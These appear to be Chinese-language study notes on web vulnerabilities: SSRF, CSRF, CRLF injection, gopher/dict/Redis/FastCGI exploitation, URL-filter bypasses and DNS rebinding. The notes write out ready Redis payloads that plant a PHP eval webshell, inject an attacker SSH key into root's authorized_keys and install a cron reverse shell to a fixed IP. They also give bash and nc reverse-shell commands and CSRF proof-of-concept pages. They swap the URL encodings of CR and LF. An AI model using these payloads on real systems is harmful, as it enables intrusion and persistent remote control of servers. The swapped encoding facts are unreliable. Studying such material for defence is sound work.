CSRF漏洞是服务器端没有对用户提交的数据进行严格的把控,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF漏洞是服务器对用户提供的可控URL地址过于信任,没有经过严格检测,导致攻击者可以利用一个可以发起网络请求的服务当作跳板来攻击内网或其他服务器。
CR: Carriage Return,对应ASCII中转义字符\r,表示回车——%0a
LF: Linefeed,对应ASCII中转义字符\n,表示换行——%0d
CRLF: Carriage Return & Linefeed,\r\n,表示回车并换行
CRLF漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中
SSRF
- 服务端请求伪造,一种由攻击者构造形成由服务端发起请求的一个安全漏洞
- 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统),利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务
- 存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议
- file协议用于进行本地文件的读取
- http协议用于进行内网的ip扫描、端口探测,如果探测到6379端口,那么可以利用http、gopher、dict这几个协议来打开放6379端口的redis服务(一般开放了这个端口的是redis服务),原理是利用他们以目标机的身份执行对开启redis服务的内网机执行redis命令,最后反弹shell到我们的公网ip机上
关于ssrf的一段源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//创建一个新cURL资源
$ch=curl_init($url);
//设置URL和相应的选项
curl_setopt($ch, CURLOPT_HEADER, 0); //启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //将curl_exec()获取的信息以文件流的形式返回,而不是直接输出
// 抓取URL并把它传递给浏览器
$result=curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
echo ($result);
?>
- 在 PHP 中,cURL 是一个扩展库。它可以与各种类型的服务器、使用各种类型的协议进行连接和通讯
- 它目前支持 http、https、ftp、gopher、telnet、dict、file 和 ldap 协议,同时也支持 HTTPS 认证、HTTP POST、 FTP 上传、代理、cookies 和 用户名 + 密码的认证等
- curl_setopt函数是php中一个重要的函数,它可以模仿用户的一些行为,如模仿用户登录,注册等等一些用户可操作的行为
- PHP curl_setopt函数
关于gopher协议
gopher
协议是一种信息查找系统,将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处,在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口,但在WWW
出现后,它基本过时- 这个协议的时候都是在去
ssrf
打redis shell
、读mysql
数据 - gopher协议格式:
gopher://IP:port/_{TCP/IP数据流}
- 发送http get请求
- 在gopher协议中发送HTTP的数据,需要以下三步:
- 构造HTTP数据包
- URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
- 发送gopher协议, 协议后的IP一定要接端口
- POST与GET传参的区别:它有4个参数为必要参数,需要传递
Content-Type
,Content-Length
,host
,post
的参数 - 需要在使用gopher协议时在url后加入一个字符(该字符可随意写)
关于fastcgi协议
CGI: 在静态网站中,WEB容器如Apache、Nginx相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB容器例如Apache会根据用户的请求进行简单处理后交给php解释器;当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程
FastCG:I FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能
PHP-FPM: FastCGI 进程管理器,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用;也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能在其中的进程中,包含了master和worker进程,其中master 进程负责与 Web 服务器进行通信接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端
- PHP-FPM未授权访问漏洞:PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则可以构造fastcgi协议,和fpm进行通信
- nginx(iis7)的解析漏洞:在用户访问 http://127.0.0.1/favicon.ico/.php 时,访问到的文件是favicon.ico,但却按照.php后缀解析了,而这个指定的文件涉及到的关键变量为 “SCRIPT_FILENAME” ;正常来说,SCRIPT_FILENAME 的值是一个不存在的文件 /var/www/html/favicon.ico/.php ,是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo,在这个选项被打开的情况下,fpm会判断SCRIPT_FILENAME是否存在,如果不存在则去掉最后一个/及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在
- 在
fpm
某个版本之前,可以将SCRIPT_FILENAME
的值指定为任意后缀文件,比如/etc/passwd
- 后来,
fpm
的默认配置中增加了一个选项——security.limit_extensions:;security.limit_extensions = .php .php3 .php4 .php5 .php7
,其限定了只有某些后缀的文件允许被fpm
执行,默认是.php
,当我们再传入/etc/passwd
的时候,将会返回Access denied.
- 由于这个配置项的限制,如果想利用
PHP-FPM
的未授权访问漏洞,首先就得找到一个已存在的PHP
文件,万幸的是,通常使用源安装php
的时候,服务器上都会附带一些php
后缀的文件,可以利用这些文件执行攻击
关于redis协议
RESP: Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信;RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式;RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组
RESP在Redis中用作请求 - 响应协议的方式:客户端将命令作为
Bulk Strings
的RESP数组发送到Redis服务器,服务器根据命令实现回复一种RESP类型写webshell构造redis命令:
flushall set 1 '<?php eval($_POST["cmd"]);?>' config set dir /var/www/html config set dbfilename 1.php save
写ssh公钥构造redis命令(如果
.ssh
目录存在,则直接写入~/.ssh/authorized_keys
,否则可以利用crontab
创建该目录):flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali ' config set dir /root/.ssh/ config set dbfilename authorized_keys save
利用contrab计划任务反弹shell构造redis命令:
flushall set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
- 这个方法只能Centos上使用,Ubuntu上行不通:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行 - 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
- 由于系统的不同,crontrab定时文件位置也会不同:
- Centos的定时任务文件在
/var/spool/cron/<username>
- Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>
- Centos和Ubuntu均存在的(需要root权限)/etc/crontab,但是高版本的redis默认启动是redis权限,故写这个文件是行不通的
- Centos的定时任务文件在
- 这个方法只能Centos上使用,Ubuntu上行不通:
关于一些url绕过
使用http用户名密码语法,比如服务器正则判断语法,可以 http://abc@www.baidu.com/ ,同样可以打开baidu
IP编码绕过,将ip转换为16进制、8进制等(八进制:
0177.000.000.001
,十进制:127.0.0.1
,十六进制:0x7f000001
)302跳转脚本,代码支持302(限制为http协议):
利用?绕过
将问号放到它自身的域名前面,也就是你添加的想要跳转的域名的后面,如:http://www.aaa.com/acb?Url=http://test.com?login.aaa.com ,那么,它会跳转到这个test.com域名下,而后面的它自身域名一定要带上,不带上就无法辅助用问号?这个特性来跳转到指定域名了,而跳转后,问号和问号后面的内容会变为:http://www.test.com/?login.aaa.com
利用@绕过
在火狐里进行跳转会有弹窗提示,如:http://www.aaa.com/acb?Url=http://login.aaa.com@test.com 后面的 test.com 就是要跳转到的域名,前面的域名都是用来辅助以绕过限制的
利用#号绕过
利用白名单缺陷绕过
有的域名白名单限制是不全的,比如如果想利用一个跳转,而这个跳转是通用,在这个公司网站很多子域名等都可以跳转,比如,当跳转的域名包含这个网站下的所有域名,比如:http://www.aaa.com/acb?Url=http://login.aaa.com ,这个 login.aaa.com 也可以改成 aaa.com 同样可以跳转,因为白名单里只要有包含这个域名就直接成功跳转。那么当我在这个域名前面加上如 testaaa.com ,白名单里会检查是否包含 aaa.com 这个域名,包含,然后直接跳转,而并没有检查这个域名的整个信息,然后可以利用这个问题,直接注册一个 testaaa.com 这个域名就可以利用这个跳转
利用xip.io绕过
请求是 http://www.127.0.0.1.xip.io 这个绕过是在SSRF场景中的绕过,SSRF要读取内网地址,一般都做了限制,可以尝试用这个方法进行绕过限制,从而访问到内网,URL跳转涉及的安全问题大家常见的就是钓鱼,如,http://www.qq.com.220.181.57.217.xip.io 当你访问qq这个域名时,其实这个链接已经被解析到后面这个ip地址上了,那么实际访问的就是后面这个IP地址
点击触发达到绕过
比如很多登陆页面的地方,其URL是一个跳转的URL,如:http://www.aaa.com/acb?Url=http://test.com 。你直接修改了后面为任意URL,但是还是停留在原地,似乎没什么问题,但是,当你输入账号和密码后点击登陆按钮后,就会触发跳转
多重验证&跳转绕过
现在很多网站都有多重验证,比如你登陆账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。
多重跳转的问题导致可绕过URL限制,如 http://www.aaa.com/acb?Url=http://login.aaa.com/acb?url=http://login.aaa.com ,还有多重的,这个结构的多重跳转修改最后面的URL就可以达到任意URL跳转,中间的URL没必要动
关于DNS重绑定
DNS TTL
TTL值全称是“生存时间(Time To Live)”,它表示DNS记录在DNS服务器上缓存时间,数值越小,修改记录各地生效时间越快。
当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。
增大TTL值,可以节约域名解析时间;减小TTL值,可以减少更新域名记录时的不可访问时间
DNS Rebinding
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的,这就造成了DNS Rebinding攻击。
具体步骤
攻击者控制恶意的DNS服务器来回复域的查询,如rebind.network
攻击者通过一些方式诱导受害者加载http://rebind.network
用户打开链接,浏览器就会发出DNS请求查找rebind.network的IP地址
恶意DNS服务器收到受害者的请求,并使用真实IP地址进行响应,并将TTL值设置为1秒,让受害者的机器缓存很快失效
从 http://rebind.network 加载的网页包含恶意的js代码,构造恶意的请求到 http://rebind.network/index ,而受害者的浏览器便在执行恶意请求
一开始的恶意请求当然是发到了攻击者的服务器上,但是随着TTL时间结束,攻击者就可以让 http://rebind.network 绑定到别的IP,如果能捕获受害者的一些放在内网的应用IP地址,就可以针对这个内网应用构造出对应的恶意请求,然后浏览器执行的恶意请求就发送到了内网应用,达到了攻击的效果
关于dict协议
dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的,它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典
Dict服务器和客户机使用TCP端口2628
在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况,可以看出目标端口的指纹信息
当gopher协议无法使用时,可以使用dict协议
dict://serverip:port/命令
:参数向服务器的端口请求为【命令:参数】,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了
dict打redis
- 在redis下我们使用info即可获取redis的相关信息,对于gopher可以加上一个下划线在跟上info,同时也可以判断出ssrf的存在
- 必须是redis未设密码的情况下才可利用dict执行命令,否则即便知道密码也无法进行其他操作;因为在每一次发送命令的同时都需要进行身份认证,即第一次发送auth qianxun通过认证,第二次发送get name时还是提示要密码认证,说明redis是无记忆的,而dict只能一次执行一条命令,所以无法操作
- ssrf漏洞利用(内网探测、打redis)
- ssrf与gopher与redis
- 浅析SSRF在CTF中的各种实现方式
关于写入shell与定时计划
#先清除没用的数据,防止定时任务执行失败 flushall +OK #设置导出路径 config set dir /home/wwwroot/default/wordpress +OK #设置导出名字 config set dbfilename shell.php +OK set webshell "<?php phpinfo();?>" +OK #导出 save +OK
反弹shell
浅浅实践了一下:
- 攻击机监听端口:
nc -lvp [端口]
- 靶机执行命令:
bash -i >& /dev/tcp/[攻击机ip]/[端口] 0>&1
或者nc [ip] [端口] -e /bin/bash
- 然后就可以在攻击机对靶机执行命令啦
相关命令解释:
命令 | 含义 |
---|---|
bash -i | 产生一个交互式的bash shell |
>& | 将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令) 当>&后边接文件时,表示将表示将标准输入输出重定向到文件 当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符 |
/dev/tcp/[ip]/[port] | 一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接 |
文件描述符 | 0 - stdin,代表标准输入 1 - stdout,代表标准输出 2 - stderr,代表标准错误输出 |
0>&1 | 将标准输入重定向到标准输出 |
CSRF
跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站
攻击流程:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
- 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
- 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B
- 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求
- 网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行
检测CSRF漏洞:抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞
专门针对CSRF漏洞进行检测的工具:CSRFTester,CSRF Request Builder等
GET类型的CSRF
GET类型的CSRF利用只需要一个HTTP请求:
<img src=http://xxx.com/csrf?xx=11 />
在访问含有这个img的页面后,成功向
http://xxx.com.org/csrf?xx=11
发出了一次HTTP请求,所以,如果将该网址替换为存在GET型CSRF的地址,就能完成攻击了,xxx.com就会收到包含受害者登录信息的一次跨域请求POST类型的CSRF
POST类型的CSRF利用起来通常使用的是一个自动提交的表单,如:
<form action=http://wooyun.org/csrf.php method=POST> <input type="text" name="xx" value="11" /> </form> <script> document.forms[0].submit(); </script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作
过基础认证的CSRF(常用于路由器):
POC:
<img src=http://admin:admin@192.168.1.1 />
加载该图片后,路由器会给用户一个合法的SESSION,就可以进行下一步操作了
链接类型的CSRF
链接类型的 CSRF 并不常见需要用户点击链接才会触发,这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">重磅消息!!<a/>
由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则攻击成功
SSRF和CSRF的区别
- ssrf是服务器端请求伪造,伪造的是服务端的请求,利用服务器访问内网、探测端口
- csrf是跨站请求伪造,伪造的是客户端,利用已登录的用户信息执行操作